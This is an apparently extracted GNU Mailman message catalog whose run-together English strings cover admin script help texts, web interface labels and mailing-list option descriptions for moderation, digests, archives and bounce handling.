        representation.  Useful with `python -i bin/dumpdb <file>'.  In that
        case, the root of the tree will be left in a global called "msg".

    --help/-h
        Print this help message and exit

If the filename ends with `.db', then it is assumed that the file contains a
Python marshal.  If the file ends with `.pck' then it is assumed to contain a
Python pickle.  In either case, if you want to override the default assumption
-- or if the file ends in neither suffix -- use the -p or -m flags.
DutchEach list member has a <em>moderation flag</em> which says
             whether messages from the list member can be posted directly to
             the list, or must first be approved by the list moderator.  When
             the moderation flag is turned on, list member postings must be
             approved first.  You, the list administrator can decide whether a
             specific individual's postings will be moderated or not.

             <p>When a new member is subscribed, their initial moderation flag
             takes its value from this option.  Turn this option off to accept
             member postings by default.  Turn this option on to, by default,
             moderate member postings first.  You can always manually set an
             individual member's moderation bit by using the
             <a href="%(adminurl)s/members">membership management
             screens</a>.Each topic keyword is actually a regular expression, which is
             matched against certain parts of a mail message, specifically the
             <code>Keywords:</code> and <code>Subject:</code> message headers.
             Note that the first few lines of the body of the message can also
             contain a <code>Keywords:</code> and <code>Subject:</code>
             "header" on which matching is also performed.Edit HTML : ErrorEdit OptionsEdit the public HTML pages and text filesEmail My Password To MeEmail address:Emergency hold on all list traffic is in effectEmergency moderation of all list traffic is enabledEmergency moderation of all list traffic.Empty list passwords are not allowedEnabledEncode the
             <a href="?VARHELP=general/subject_prefix">subject
             prefix</a> even when it consists of only ASCII characters?End of English (USA)Enter confirmation cookieEnter new administrator password:Enter new moderator password:Enter one address per line below...Enter the email of the person running the list: Enter the name of the list: ErrorError Unsubscribing:Error inviting:Error opening list "%(listname)s", skipping.
%(e)sError opening list %(listname)s... skipping.Error subscribing:Error: EstonianEuskaraExplicit <tt>Reply-To:</tt> header.Explicit addressFebFebruaryFilter out duplicate messages to list members (if possible)FinalizingFind all lists that a member's address is on.

Usage:
    find_member [options] regex [regex [...]]

Where:
    --listname=listname
    -l listname
        Include only the named list in the search.

    --exclude=listname
    -x listname
        Exclude the named list from the search.

    --owners
    -w
        Search list owners as well as members.

    --help
    -h
        Print this help message and exit.

    regex
        A Python regular expression to match against.

The interaction between -l and -x is as follows.  If any -l option is given
then only the named list will be included in the search.  If any -x option is
given but no -l option is given, then all lists will be search except those
specifically excluded.

Regular expression syntax is Perl5-like, using the Python re module.  Complete
specifications are at:

http://docs.python.org/library/re.html

Address matches are case-insensitive, but case-preserved addresses are
displayed.

Find member %(link)s:FinnishFirstFix the MM2.1b4 archives.

Usage: %(PROGRAM)s [options] file ...

Where options are:
    -h / --help
        Print this help message and exit.

Only use this to `fix' some archive database files that may have gotten
written in Mailman 2.1b4 with some bogus data.  Use like this from your
$PREFIX directory

%% %(PROGRAM)s `grep -l _mlist archives/private/*/database/*-article`

(note the backquotes are required)

You will need to run `bin/check_perms -f' after running this script.
Fixing language templates: %(listname)sFooter added to every digestFooter added to mail sent to regular list membersFor some reason, %(mbox_dir)s exists as a file.  This won't work with
b6, so I'm renaming it to %(mbox_dir)s.tmp and proceeding.For some unknown reasonForward messages (individually) to:Forward of moderated messageForward to List OwnerForwarding optionsFourthFrenchFriFrom:From: %(sender)s on %(date)s
Subject: %(subject)s
Cause: %(reason)sFull PersonalizationFundamental list characteristics, including descriptive
            info and basic behaviors.General OptionsGeneral list information pageGeneral list personalityGenerate binary message catalog from textual translation description.

This program converts a textual Uniforum-style message catalog (.po file) into
a binary GNU catalog (.mo file).  This is essentially the same function as the
GNU msgfmt program, however, it is a simpler implementation.

Usage: msgfmt.py [OPTIONS] filename.po

Options:
    -o file
    --output-file=file
        Specify the output file to write to.  If omitted, output will go to a
        file named filename.mo (based off the input file name).

    -h
    --help
        Print this message and exit.

    -V
    --version
        Display version information and exit.
GermanGnu's Not UnixGo to list archivesGo to the general list information pageGzip'd Text%(sz)sHTML Unchanged.HTML attachment scrubbed and removedHTML successfully updated.Header added to every digestHeader added to mail sent to regular list membersHide the sender of a message, replacing it with the list
             address (Removes From, Sender and Reply-To fields)HoldHoldsHost name this list prefers for email.Hostile address (illegal characters)Hostile address (illegal characters): %(member)sHostile subscription attempt detectedHow big in Kb should a digest be before it gets sent out?How many <em>Your Membership Is Disabled</em> warnings a
             disabled member should get before their address is removed from
             the mailing list.  Set to 0 to immediately remove an address from
             the list once their bounce score exceeds the threshold.  This
             value must be an integer.How many body lines should the topic matcher scan?How often should a new archive volume be started?How often should a new digest volume be started?HungarianIf a posting has this number, or more, of recipients, it is
             held for admin approval.  Use 0 for no ceiling.If you reject this post,<br>please explain (optional):If you reply to this message, keeping the Subject: header intact, Mailman will
discard the held message.  Do this if the message is spam.  If you reply to
this message and include an Approved: header with the list password in it, the
message will be approved for posting to the list.  The Approved: header can
also appear in the first line of the body of the reply.If you supply a password, you must confirm it.If your mailing list's default language uses a non-ASCII
             character set and the prefix contains non-ASCII characters, the
             prefix will always be encoded according to the relevant
             standards.  However, if your prefix contains only ASCII
             characters, you may want to set this option to <em>Never</em> to
             disable prefix encoding.  This can make the subject headers
             slightly more readable for users with mail readers that don't
             properly handle non-ASCII encodings.

             <p>Note however, that if your mailing list receives both encoded
             and unencoded subject headers, you might want to choose <em>As
             needed</em>.  Using this setting, Mailman will not encode ASCII
             prefixes when the rest of the header contains only ASCII
             characters, but if the original header contains non-ASCII
             characters, it will encode the prefix.  This avoids an ambiguity
             in the standards which could cause some mail readers to display
             extra, or missing spaces between the prefix and the original
             header.Ignore  :  %(addr)30sIgnoring changes to deleted member: %(user)sIgnoring non-text/plain MIME partsIllegal Email Address: %(safeuser)sIllegal email address providedIllegal list name: %(s)sIllegal option: %(opt)sImporting %(module)s...In order to change your membership option, you must
    first log in by giving your %(extra)smembership password in the section
    below.  If you don't remember your membership password, you can have it
    emailed to you by clicking on the button below.  If you just want to
    unsubscribe from this list, click on the <em>Unsubscribe</em> button and a
    confirmation message will be sent to you.

    <p><strong><em>Important:</em></strong> From this point on, you must have
    cookies enabled in your browser, otherwise none of your changes will take
    effect.
    Increment the digest volume number and reset the digest number to one.

Usage: %(PROGRAM)s [options] [listname ...]

Options:

    --help/-h
        Print this message and exit.

The lists named on the command line are bumped.  If no list names are given,
all lists are bumped.
Initial %(listname)s password: Initial list of supported languages.  <p>Note that if you do not
        select at least one initial language, the list will use the server
        default language of %(deflang)sInitial list owner address:Initial list password:Initial list passwords do not matchInject a message from a file into Mailman's incoming queue.

Usage: inject [options] [filename]

Options:

    -h / --help
        Print this text and exit.

    -l listname
    --listname=listname
        The name of the list to inject this message to.  Required.

    -q queuename
    --queue=queuename
        The name of the queue to inject the message to.  The queuename must be
        one of the directories inside the qfiles directory.  If omitted, the
        incoming queue is used.

filename is the name of the plaintext message file to inject.  If omitted,
standard input is used.
Interrupted...Invalid :  %(addr)30sInvalid confirmation string.  It is
            possible that you are attempting to confirm a request for an
            address that has already been unsubscribed.Invalid confirmation string.  Note that confirmation strings expire
approximately %(days)s days after the initial subscription request.  If your
confirmation has expired, please try to re-submit your original request or
message.Invalid options to CGI scriptInvalid options to CGI script.Invalid value for property: %(k)sInvalid value for variable: %(property)sInviteIs archive file source for public or private archival?Is qrunner even running?Is the list moderator's approval required for unsubscription
             requests?  (<em>No</em> is recommended)ItalianJanJanuaryJapaneseJulJulyJunJuneKoreanLanguage&nbsp;optionsLanguages supported by this list.Last autoresponse notification for todayLeave the initial password (and confirmation) fields
                blank if you want Mailman to autogenerate the list
                passwords.ListList CharacteristicsList Helpbot: %(requestaddr)sList IdentityList Owners:  %(owneraddr)sList admin onlyList all mailing lists.

Usage: %(program)s [options]

Where:

    -a / --advertised
        List only those mailing lists that are publically advertised

    --virtual-host-overview=domain
    -V domain
        List only those mailing lists that are homed to the given virtual
        domain.  This only works if the VIRTUAL_HOST_OVERVIEW variable is
        set.

    -b / --bare
        Displays only the list name, with no description.

    -h / --help
        Print this text and exit.

List all the owners of a mailing list.

Usage: %(program)s [options] listname ...

Where:

    --all-vhost=vhost
    -v=vhost
        List the owners of all the mailing lists for the given virtual host.

    --all
    -a
        List the owners of all the mailing lists on this system.

    --help
    -h
        Print this help message and exit.

`listname' is the name of the mailing list to print the owners of.  You can
have more than one named list on the command line.
List already exists: %(listname)sList already exists: %(safelistname)sList creator's (authentication) password:List membersList moderators (and list administrators) are sent daily
             reminders of requests pending approval, like subscriptions to a
             moderated list, or postings that are being held for one reason or
             another.  Setting this option causes notices to be sent
             immediately on the arrival of new requests as well.List my other subscriptionsList name is requiredList name is required.List name must not include "@": %(safelistname)sList name:    %(listname)sList of addresses which are banned from membership in this
             mailing list.List of non-member addresses whose postings should be
             automatically accepted.List of non-member addresses whose postings will be
             automatically discarded.List of non-member addresses whose postings will be
             automatically rejected.List of non-member addresses whose postings will be
             immediately held for moderation.List password:List subscriptions for %(safeuser)s on %(hostname)sList the owners of a mailing list, or all mailing lists.

Usage: %(PROGRAM)s [options] [listname ...]
Options:

    -w / --with-listnames
        Group the owners by list names and include the list names in the
        output.  Otherwise, the owners will be sorted and uniquified based on
        the email address.

    -m / --moderators
        Include the list moderators in the output.

    -h / --help
        Print this help message and exit.

    listname
        Print the owners of the specified lists.  More than one can appear
        after the options.  If there are no listnames provided, the owners of
        all the lists will be displayed.
List topic keywordsList traffic archival policies.List-specific text prepended to new-subscriber welcome
             messageList:List: %(listname)s, 	Owners: %(owners)sLithuanianLoading list %(listname)sLog inLog outLogoutMIMEMail deliveryMail&lt;-&gt;News&nbsp;gatewaysMail-to-News and News-to-Mail gateway services.Mailing list creation request for list %(listname)sMailing list creation resultsMailing list deletion resultsMailing list removal request for list %(listname)sMailmanMailman %(varname)s List Option HelpMailman Administrative Database ErrorMailman prefixes <tt>Subject:</tt> headers with
             <a href="?VARHELP=general/subject_prefix">text you can
             customize</a> and normally, this prefix shows up in messages
             gatewayed to Usenet.  You can set this option to <em>No</em> to
             disable the prefix on gated messages.  Of course, if you turn off
             normal <tt>Subject:</tt> prefixes, they won't be prefixed for
             gated messages either.Mailman privacy alertMailman won't accept the given email address as a valid address.
(E.g. it must have an @ in it.)Make your changes in the following section, then submit them
        using the <em>Submit Your Changes</em> button below.MarMarchMass RemovalsMass SubscriptionsMass catch upMass catchup completedMass&nbsp;RemovalMass&nbsp;SubscriptionMaximum length in kilobytes (KB) of a message body.  Use 0
             for no limit.MayMember filtersMember name successfully changed. Membership ListMembership exposureMembership re-enabled.Membership&nbsp;ListMembership&nbsp;Management...Message Excerpt:Message Headers:Message body is too big: %(size)d bytes with a limit of
%(limit)d KBMessage has a suspicious headerMessage has implicit destinationMessage may contain administriviaModeratedModeratorModerator passwords did not matchMonMonthlyMore information: %(listurl)sMove rule downMove rule upMust have a listname and a filenameMust posts have list named in destination (to, cc) field
             (or be among the acceptable alias names, specified below)?Name of list:Name:Natural language (internationalization) options.NeverNew %(listname)s password: %(notifypassword)sNew %(pwdesc)s password: New subscription request to list %(realname)s from %(addr)sNew unsubscription request from %(realname)s by %(addr)sNews server settingsNext message:NoNo address givenNo argument to -f givenNo child with pid: %(pid)sNo command given.No commands were found in this message.
To obtain instructions, send a message containing just the word "help".
No filename given.No list name supplied.No list named:No listname givenNo lists to searchNo matching mailing lists foundNo one can subscribe to the digest of this list!No problems foundNo reason givenNo runner name given.No subjectNo such list "%(listname)s"
%(e)sNo such list (or list already deleted): %(listname)sNo such list <em>%(safelistname)s</em>No such list: %(listname)sNo such list: %(listname)s.  Removing its residual archives.No such member: %(addr)sNo such member: %(safeuser)s.No updates are necessary.No valid address found to subscribeNo valid variable name found.Non-digest (regular) members:Non-digest&nbsp;optionsNon-member filtersNon-members are not allowed to post messages to this list.Non-standard property restored: %(k)sNoneNone - no verification steps (<em>Not
                           Recommended </em>)<br>
                           Confirm (*) - email confirmation step required <br>
                           Require approval - require list administrator
                           Approval for subscriptions <br>
                           Confirm and approve - both confirm and approve
                           
                           <p>(*) when someone requests a subscription,
                           Mailman sends them a notice with a unique
                           subscription request number that they must reply to
                           in order to subscribe.<br>

                           This prevents mischievous (or malicious) people
                           from creating subscriptions for others without
                           their consent.Normally, Mailman sends the regular delivery messages to
                 the mail server in batches.  This is much more efficent
                 because it reduces the amount of traffic between Mailman and
                 the mail server.

                 <p>However, some lists can benefit from a more personalized
                 approach.  In this case, Mailman crafts a new message for
                 each member on the regular delivery list.  Turning this
                 feature on may degrade the performance of your site, so you
                 need to carefully consider whether the trade-off is worth it,
                 or whether there are other ways to accomplish what you want.
                 You should also carefully monitor your system load to make
                 sure it is acceptable.

                 <p>Select <em>No</em> to disable personalization and send
                 messages to the members in batches.  Select <em>Yes</em> to
                 personalize deliveries and allow additional substitution
                 variables in message headers and footers (see below).  In
                 addition, by selecting <em>Full Personalization</em>, the
                 <code>To</code> header of posted messages will be modified to
                 include the member's address instead of the list's posting
                 address.

                 <p>When personalization is enabled, a few more expansion
                 variables that can be included in the <a
                 href="?VARHELP=nondigest/msg_header">message header</a> and
                 <a href="?VARHELP=nondigest/msg_footer">message footer</a>.

                 <p>These additional substitution variables will be available
                 for your headers and footers, when this feature is enabled:

                 <ul><li><b>user_address</b> - The address of the user,
                         coerced to lower case.
                     <li><b>user_delivered_to</b> - The case-preserved address
                         that the user is subscribed with.
                     <li><b>user_password</b> - The user's password.
                     <li><b>user_name</b> - The user's full name.
                     <li><b>user_optionsurl</b> - The url to the user's option
                         page.
                 </ul>
                 NorwegianNot a valid email address: %(toaddr)sNot authenticatedNot removing archives.  Reinvoke with -a to remove them.Not subscribedNote: Note: Since this is a list of mailing lists, administrative
notices like the password reminder will be sent to
your membership administrative address, %(addr)s.Note: your list delivery is currently disabled%(reason)s.Nothing to do.NotificationsNovNovemberNumber of days between auto-responses to either the mailing
             list or -request/-owner address from the same poster.  Set to
             zero (or negative) for no grace period (i.e. auto-respond to
             every message).OctOctoberOffOkay, the list moderator will still have the
    opportunity to approve or reject this message.OnOnce a month, your password will be emailed to you as a reminder.One of -i or -o is requiredOnly one -f switch allowedOnly one of -i or -o is allowedOpen list, moderated groupOriginal MessageOther Administrative ActivitiesOverview of all %(hostname)s mailing listsPID unreadable in: %(pidfile)sPassword // URLPassword change failed.Password changed.Password reminderPassword successfully changed.Password:Password: PasswordsPasswords did not match!Passwords do not match; no changes made.Passwords may not be blankPattern (as regexp):Pending subscriptions:Perform all necessary upgrades.

Usage: %(PROGRAM)s [options]

Options:
    -f/--force
        Force running the upgrade procedures.  Normally, if the version number
        of the installed Mailman matches the current version number (or a
        `downgrade' is detected), nothing will be done.

    -h/--help
        Print this text and exit.

Use this script to help you update to the latest release of Mailman from
some previous version.  It knows about versions back to 1.0b4 (?).
Permanently ban from this listPermanently remove mailing list <em>%(realname)s</em>Pickling archive state into PlainPlease do *not* post administrative requests to the mailing
list.  If you wish to subscribe, visit %(listurl)s or send a message with the
word `help' in it to the request address, %(request)s, for further
instructions.Please enter the confirmation string
    (i.e. <em>cookie</em>) that you received in your email message, in the box
    below.  Then hit the <em>Submit</em> button to proceed to the next
    confirmation step.Please specify either -p or -m.Please trim the recipient list; it is too long.Policies concerning immediately delivered list traffic.PolishPoll the NNTP servers for messages to be gatewayed to mailing lists.

Usage: gate_news [options]

Where options are

    --help
    -h
        Print this text and exit.

PortuguesePortuguese (Brazil)Post by non-member to a members-only listPost to moderated listPosted message canceledPosterPosting Held for ApprovalPosting of your message titled "%(subject)s"Posting to a moderated newsgroupPosting to a restricted list by sender requires approvalPostings from any of these non-members will be automatically
             discarded.  That is, the message will be thrown away with no
             further processing or notification.  The sender will not receive
             a notification or a bounce, however the list moderators can
             optionally <a href="?VARHELP=privacy/sender/forward_auto_discards"
             >receive copies of auto-discarded messages.</a>.

             <p>Add member addresses one per line; start the line with a ^
             character to designate a regular expression match.Postings from any of these non-members will be automatically
             rejected.  In other words, their messages will be bounced back to
             the sender with a notification of automatic rejection.  This
             option is not appropriate for known spam senders; their messages
             should be
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >automatically discarded</a>.

             <p>Add member addresses one per line; start the line with a ^
             character to designate a regular expression match.Postings from any of these non-members will be immediately
             and automatically held for moderation by the list moderators.
             The sender will receive a notification message which will allow
             them to cancel their held message.  Add member addresses one per
             line; start the line with a ^ character to designate a regular
             expression match.Postings to:  %(postaddr)sPreferred language:Prefix <tt>Subject:</tt> headers on postings gated to news?Prefix for subject line of list postings.PreservePreserve message for site administratorPreserve messages for the site administratorPrevious message:Print the Mailman version.
Privacy options...Private Archive ErrorPrivate Archive Error - %(msg)sPrivate archive file not foundProblems found:Public mailing lists at %(hostname)s:Python PoweredQuarterlyRe-enable mailing list membershipRe-enable membershipRe-generate the Pipermail gzip'd archive flat files.

This script should be run nightly from cron.  When run from the command line,
the following usage is understood:

Usage: %(program)s [-v] [-h] [listnames]

Where:
    --verbose
    -v
        print each file as it's being gzip'd

    --help
    -h
        print this message and exit

    listnames
        Optionally, only compress the .txt files for the named lists.  Without 
        this, all archivable lists are processed.

Re-opening all log filesRe-run as %(MAILMAN_USER)s (or root) with -f flag to fixReason for refusalReason:Rebuild a list's archive.

Use this command to rebuild the archives for a mailing list.  You may want to
do this if you edit some messages in an archive, or remove some messages from
an archive.

Usage: %(PROGRAM)s [options] <listname> [<mbox>]

Where options are:
    -h / --help
        Print this help message and exit.

    -q / --quiet
        Make the archiver output less verbose.

    --wipe
        First wipe out the original archive before regenerating.  You usually
        want to specify this argument unless you're generating the archive in
        chunks.

    -s N
    --start=N
        Start indexing at article N, where article 0 is the first in the mbox.
        Defaults to 0.

    -e M
    --end=M
        End indexing at article M.  This script is not very efficient with
        respect to memory management, and for large archives, it may not be
        possible to index the mbox entirely.  For that reason, you can specify
        the start and end article numbers.

Where <mbox> is the path to a list's complete mbox archive.  Usually this will
be some path in the archives/private directory.  For example:

%% bin/arch mylist archives/private/mylist.mbox/mylist.mbox

<mbox> is optional.  If it is missing, it is calculated.
Receive digests?Received:Recipient filtersRecipient&nbsp;filtersRegenerate Mailman specific aliases from scratch.

The actual output depends on the value of the `MTA' variable in your mm_cfg.py
file.

Usage: genaliases [options]
Options:

    -q/--quiet
        Some MTA output can include more verbose help text.  Use this to tone
        down the verbosity.

    -h/--help
        Print this message and exit.
Regexp:RegularRejectRejectsReloading pickled archive stateRemindRemove message attachments that don't have a matching
             content type.  Leave this field blank to skip this filter
             test.Remove message attachments that have a matching content
             type.Remove the components of a mailing list with impunity - beware!

This removes (almost) all traces of a mailing list.  By default, the lists
archives are not removed, which is very handy for retiring old lists.

Usage:
    rmlist [-a] [-h] listname

Where:
    --archives
    -a
        Remove the list's archives too, or if the list has already been
        deleted, remove any residual archives.

    --help
    -h
        Print this help message and exit.

Removed: %(s)sRemoving %(msg)sRequest to mailing list %(realname)s rejectedRequested topic is not valid: %(topicname)sRequire approvalReset a list's web_page_url attribute to the default setting.

This script is intended to be run as a bin/withlist script, i.e.

% bin/withlist -l -r fix_url listname [options]

Options:
    -u urlhost
    --urlhost=urlhost
        Look up urlhost in the virtual host table and set the web_page_url and
        host_name attributes of the list to the values found.  This
        essentially moves the list from one virtual domain to another.

        Without this option, the default web_page_url and host_name values are
        used.

    -v / --verbose
        Print what the script is doing.

If run standalone, it prints this help text and exits.
Resetting %(n)s BYBOUNCEs disabled addrs with no bounce infoRestarting Mailman's master qrunnerReturn the generated output.Return to the Run this program as root or as the %(name)s user, or use -u.Running %(module)s.%(callable)s()...RussianSatSaving listSearch regular expression requiredSearch...SecondSelect page to edit:Send "list created" email to list owner?Send goodbye message to members when they are unsubscribed?Send mail to poster when their posting is held for approval?Send monthly password reminders?Send notifications of new subscriptions to the list owner?Send notifications to the list owner?Send password reminders for all lists to all users.

This program scans all mailing lists and collects users and their passwords,
grouped by the list's host_name if mm_cfg.VIRTUAL_HOST_OVERVIEW is true.  Then
one email message is sent to each unique user (per-virtual host) containing
the list passwords and options url for the user.  The password reminder comes
from the mm_cfg.MAILMAN_SITE_LIST, which must exist.

Usage: %(PROGRAM)s [options]

Options:
    -l listname
    --listname=listname
        Send password reminders for the named list only.  If omitted,
        reminders are sent for all lists.  Multiple -l/--listname options are
        allowed.

    -h/--help
        Print this message and exit.
Send password reminders to, eg, "-owner" address instead of
             directly to user.Send unsubscription acknowledgement to the user?Send welcome message to newly subscribed members?Send welcome messages to new subscribees?Sender discarded message via web.Sender is explicitly forbiddenSender&nbsp;filtersSepSeptemberSerbianServer Local TimeSetSet the site password, prompting from the terminal.

The site password can be used in most if not all places that the list
administrator's password can be used, which in turn can be used in most places
that a list users password can be used.

Usage: %(PROGRAM)s [options] [password]

Options:

    -c/--listcreator
        Set the list creator password instead of the site password.  The list
        creator is authorized to create and remove lists, but does not have
        the total power of the site administrator.

    -h/--help
        Print this help message and exit.

If password is not given on the command line, it will be prompted for.
Set this to yes when this list is intended to cascade only
             to other mailing lists.  When set, meta notices like
             confirmations and password reminders will be directed to an
             address derived from the member's address - it will have the
             value of "umbrella_member_suffix" appended to the member's
             account name.Setting host_name to: %(mailhost)sSetting this option causes member email addresses to be
             transformed when they are presented on list web pages (both in
             text and as links), so they're not trivially recognizable as
             email addresses.  The intention is to prevent the addresses
             from being snarfed up by automated web scanners for use by
             spammers.Setting this option instructs Mailman to start a new volume
             with the next digest sent out.Setting web_page_url to: %(web_page_url)sShould Mailman convert <tt>text/html</tt> parts to plain
             text?  This conversion happens after MIME attachments have been
             stripped.Should Mailman filter the content of list traffic according
             to the settings below?Should Mailman notify you, the list owner, when bounces
             cause a member to be unsubscribed?Should Mailman notify you, the list owner, when bounces
             cause a member's subscription to be disabled?Should Mailman perform a <em>catchup</em> on the newsgroup?Should Mailman perform automatic bounce processing?Should Mailman personalize each non-digest delivery?
                 This is often useful for announce-only lists, but <a
                 href="?VARHELP=nondigest/personalize">read the details</a>
                 section for a discussion of important performance
                 issues.Should Mailman send an auto-response to emails sent to the
             -owner address?Should Mailman send an auto-response to emails sent to the
             -request address?  If you choose yes, decide whether you want
             Mailman to discard the original email, or forward it on to the
             system as a normal mail command.Should Mailman send an auto-response to mailing list
             posters?Should Mailman send the next digest right now, if it is not
             empty?Should Mailman send you, the list owner, any bounce messages
             that failed to be detected by the bounce processor?  <em>Yes</em>
             is recommended.Should Mailman start a new digest volume?Should a digest be dispatched daily when the size threshold isn't reached?Should administrator get notices of subscribes and
             unsubscribes?Should any existing <tt>Reply-To:</tt> header found in the
             original message be stripped?  If so, this will be done
             regardless of whether an explict <tt>Reply-To:</tt> header is
             added by Mailman or not.Should messages from non-members, which are automatically
             discarded, be forwarded to the list moderator?Should messages from this mailing list include the
                 <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>
                 (i.e. <tt>List-*</tt>) headers?  <em>Yes</em> is highly
                 recommended.Should new members be quarantined before they
    are allowed to post unmoderated to this list?  Answer <em>Yes</em> to hold
    new member postings for moderator approval by default.Should new posts to the mailing list be sent to the
             newsgroup?Should new posts to the newsgroup be sent to the mailing
             list?Should postings include the <tt>List-Post:</tt> header?Should the list moderators get immediate notice of new
             requests, as well as daily notices about collected ones?Should the topic filter be enabled or disabled?Show member addresses so they're not directly recognizable
             as email addresses?Shutting down Mailman's master qrunnerSite list is missing: %(sitelistname)sSize:Some unknown error occurred while creating the list.
                Please contact the site administrator for assistance.Spam Filter Regexp:Spam Filter Rule %(i)dSpam&nbsp;filtersSpanish (Spain)Stale pid file removed.Starting Mailman's master qrunner.States table for the finite-states-machine parser:
            0  idle
            1  filename-or-comment
            2  msgid
            3  msgstr
            4  end
        Subject:SubmitSubmit All DataSubmit ChangesSubmit My ChangesSubmit Your ChangesSubscribeSubscribe results pageSubscribe these users now or invite them?Subscribe to list %(listname)sSubscribed: %(member)sSubscribingSubscription RequestsSubscription requestSubscription request confirmedSubscription request succeeded.Subscription&nbsp;rulesSuccessfully Removed:Successfully Unsubscribed:Successfully invited:Successfully subscribed:Suffix for use when this list is an umbrella for other
             lists, according to setting of previous "umbrella_list"
             setting.SunSwedishSynchronize a mailing list's membership with a flat file.

This script is useful if you have a Mailman mailing list and a sendmail
:include: style list of addresses (also as is used in Majordomo).  For every
address in the file that does not appear in the mailing list, the address is
added.  For every address in the mailing list that does not appear in the
file, the address is removed.  Other options control what happens when an
address is added or removed.

Usage: %(PROGRAM)s [options] -f file listname

Where `options' are:

    --no-change
    -n
        Don't actually make the changes.  Instead, print out what would be
        done to the list.

    --welcome-msg[=<yes|no>]
    -w[=<yes|no>]
        Sets whether or not to send the newly added members a welcome
        message, overriding whatever the list's `send_welcome_msg' setting
        is.  With -w=yes or -w, the welcome message is sent.  With -w=no, no
        message is sent.

    --goodbye-msg[=<yes|no>]
    -g[=<yes|no>]
        Sets whether or not to send the goodbye message to removed members,
        overriding whatever the list's `send_goodbye_msg' setting is.  With
        -g=yes or -g, the goodbye message is sent.  With -g=no, no message is
        sent.

    --digest[=<yes|no>]
    -d[=<yes|no>]
        Selects whether to make newly added members receive messages in
        digests.  With -d=yes or -d, they become digest members.  With -d=no
        (or if no -d option given) they are added as regular members.

    --notifyadmin[=<yes|no>]
    -a[=<yes|no>]
        Specifies whether the admin should be notified for each subscription
        or unsubscription.  If you're adding a lot of addresses, you
        definitely want to turn this off!  With -a=yes or -a, the admin is
        notified.  With -a=no, the admin is not notified.  With no -a option,
        the default for the list is used.

    --file <filename | ->
    -f <filename | ->
        This option is required.  It specifies the flat file to synchronize
        against.  Email addresses must appear one per line.  If filename is
        `-' then stdin is used.

    --help
    -h
        Print this message.

    listname
        Required.  This specifies the list to synchronize.
System error, bad content: %(content)sTend to pending moderator requestsText appended to the bottom of every immediately-delivery
             message. Text attached (as a final message) to the bottom of digests. Text attached (as an initial message, before the table of contents) to the top of digests. Text prepended to the top of every immediately-delivery
             message. Text sent to people leaving the list.  If empty, no special
             text will be added to the unsubscribe message.Text to include in any
             <a href="?VARHELP/privacy/sender/member_moderation_action"
             >rejection notice</a> to
             be sent to moderated members who post to this list.Text%(sz)sThe "host_name" is the preferred name for email to
             mailman-related addresses on this host, and generally should be
             the mail host's exchanger address, if any.  This setting can be
             useful for selecting among alternative names of a host that has
             multiple addresses.The <em>list administrators</em> are the people who have ultimate control over
all parameters of this mailing list.  They are able to change any list
configuration variable available through these administration web pages.

<p>The <em>list moderators</em> have more limited permissions; they are not
able to change any list configuration variable, but they are allowed to tend
to pending administration requests, including approving or rejecting held
subscription requests, and disposing of held postings.  Of course, the
<em>list administrators</em> can also tend to pending requests.

<p>In order to split the list ownership duties into administrators and
moderators, you must set a separate moderator password in the fields below,
and also provide the email addresses of the list moderators in the
<a href="%(adminurl)s/general">general options section</a>.The <tt>List-Post:</tt> header is one of the headers
             recommended by
             <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>.
             However for some <em>announce-only</em> mailing lists, only a
             very select group of people are allowed to post to the list; the
             general membership is usually not allowed to post.  For lists of
             this nature, the <tt>List-Post:</tt> header is misleading.
             Select <em>No</em> to disable the inclusion of this header. (This
             does not affect the inclusion of the other <tt>List-*:</tt>
             headers.)The Mailman ReplybotThe Week Of Monday %(day)i %(month)s %(year)iThe `join' command is synonymous with `subscribe'.
The `leave' command is synonymous with `unsubscribe'.
The `remove' command is synonymous with `unsubscribe'.
The address requesting to be changed has
                    been subsequently unsubscribed.  This request has been
                    cancelled.The address requesting unsubscription is not
                a member of the mailing list.  Perhaps you have already been
                unsubscribed, e.g. by the list administrator?The attached message has been automatically discarded.The attached message matched the %(listname)s mailing list's content filtering
rules and was prevented from being forwarded on to the list membership.  You
are receiving the only remaining copy of the discarded message.

The attached message was received as a bounce, but either the bounce format
was not recognized, or no member addresses could be extracted from it.  This
mailing list has been configured to send all unrecognized bounce messages to
the list administrator(s).

For more information see:
%(adminurl)s

The capitalization of this name can be changed to make it
             presentable in polite company as a proper noun, or to make an
             acronym part all upper case, etc.  However, the name will be
             advertised as the email address (e.g., in subscribe confirmation
             notices), so it should <em>not</em> be otherwise altered.  (Email
             addresses are not case sensitive, but they are sensitive to
             almost everything else :-)The confirmation email has been sent.The current archiveThe email address you supplied is banned from this
        mailing list.  If you think this restriction is erroneous, please
        contact the list owners at %(listowner)s.The email address you supplied is banned from this mailing list.
If you think this restriction is erroneous, please contact the list
owners at %(listowner)s.The email address you supplied is not valid.  (E.g. it must contain an
`@'.)The following illegal substitution variables were
                found in the <code>%(property)s</code> string:
                <code>%(bad)s</code>
                <p>Your list may not operate properly until you correct this
                problem.The held message with the Subject:
            header <em>%(subject)s</em> could not be found.  The most likely
            reason for this is that the list moderator has already approved or
            rejected the message.  You were not able to cancel it in
            time.The held message you were referred to has
        already been handled by the list administrator.The hostname of the machine your news server is running on.The list administrator email addresses.  Multiple
             administrator addresses, each on separate line is okay.The list administrator has disabled digest delivery for
            this list, so your delivery option has not been set.  However your
            other options have been set successfully.The list administrator has disabled non-digest delivery
            for this list, so your delivery option has not been set.  However
            your other options have been set successfully.The list moderator email addresses.  Multiple
             moderator addresses, each on separate line is okay.The list password cannot be emptyThe list password cannot be empty<!-- ignore -->The mailing list `%(listname)s' has been created via the through-the-web
interface.  In order to complete the activation of this mailing list, the
proper /etc/aliases (or equivalent) file must be updated.  The program
`newaliases' may also have to be run.

Here are the entries for the /etc/aliases file:
The mailing list `%(listname)s' has been removed via the through-the-web
interface.  In order to complete the de-activation of this mailing list, the
appropriate /etc/aliases (or equivalent) file must be updated.  The program
`newaliases' may also have to be run.

Here are the entries in the /etc/aliases file that should be removed:
The master qrunner lock could not be acquired because it appears as if another
master qrunner is already running.
The master qrunner lock could not be acquired, because it appears as if some
process on some other host may have acquired it.  We can't test for stale
locks across host boundaries, so you'll have to do this manually.  Or, if you
know the lock is stale, re-run mailmanctl with the -s flag.

Lock file: %(LOCKFILE)s
Lock host: %(status)s

Exiting.The maximum member bounce score before the member's
             subscription is disabled.  This value can be a floating point
